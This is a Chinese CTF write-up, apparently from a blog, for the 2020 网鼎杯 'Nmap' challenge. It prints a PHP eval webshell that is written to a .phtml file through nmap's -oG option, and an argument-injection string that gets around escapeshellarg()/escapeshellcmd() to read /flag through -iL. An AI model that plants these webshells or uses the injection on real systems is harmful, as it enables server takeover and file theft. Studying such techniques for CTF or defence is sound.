[网鼎杯 2020 朱雀组]Nmap 通过nmap写入木马 argcmd过滤实现逃逸

这道题也很好玩 啊 原本以为是ssrf 或者会不会是rce

结果是通过nmap写入木马

我们来玩一下

传入木马

映入眼帘是nmap

我们首先就要了解nmap的指令

Nmap 相关参数

-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件

    -oN 标准保存
    -oX XML保存
    -oG Grep保存
    -oA 保存到所有格式

我们将木马作为文件读取 然后输出到.php后缀中

<?php @eval($_POST['attack']);?>  -oG hak.php

我们换短标签看看

<? echo @eval($_POST['attack']); ?>  -oG hak.php

发现还不行 我们看看是不是php过滤了

果然 那我们使用其他的 例如phtml

'<? echo @eval($_POST["a"]);?> -oG hck.phtml '

 

任意文件读取

这里我不知道师傅们怎么知道存在 escapshellarg()和escapshellcmd()的

但是我们可以通过这两个来了解

escapshellarg()

这个的操作比较多

对类似非法的 进行 加引号和转义符

例如

'  ---->  '\''

escapshellcmd()

这个是对非法进行加转义符

' ----> \'

我们这里可以进行尝试

127.0.0.1' -iL /flag 1.txt

通过arg过滤是

'127.0.0.1'\'' -iL /flag 1.txt'

然后通过 cmd转义

这里会匹配\ 为非法 进行转义

'127.0.0.1'\\'' -iL /flag -o 1.txt'

那么这里 \\ '' 就会识别为\

所以简化就是

'127.0.0.1'\ -iL /flag -o1.txt'

从而爆出读取失败的值

这里报错值的原理是

去访问 文件 使用参数 -iL 
然后 读取失败 就会将读取的值报错出来

然后我们访问1.txt' 记得后面有一个逃逸的单引号

127.0.0.1'\ -iL /flag -o1.txt

就可以实现读取

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值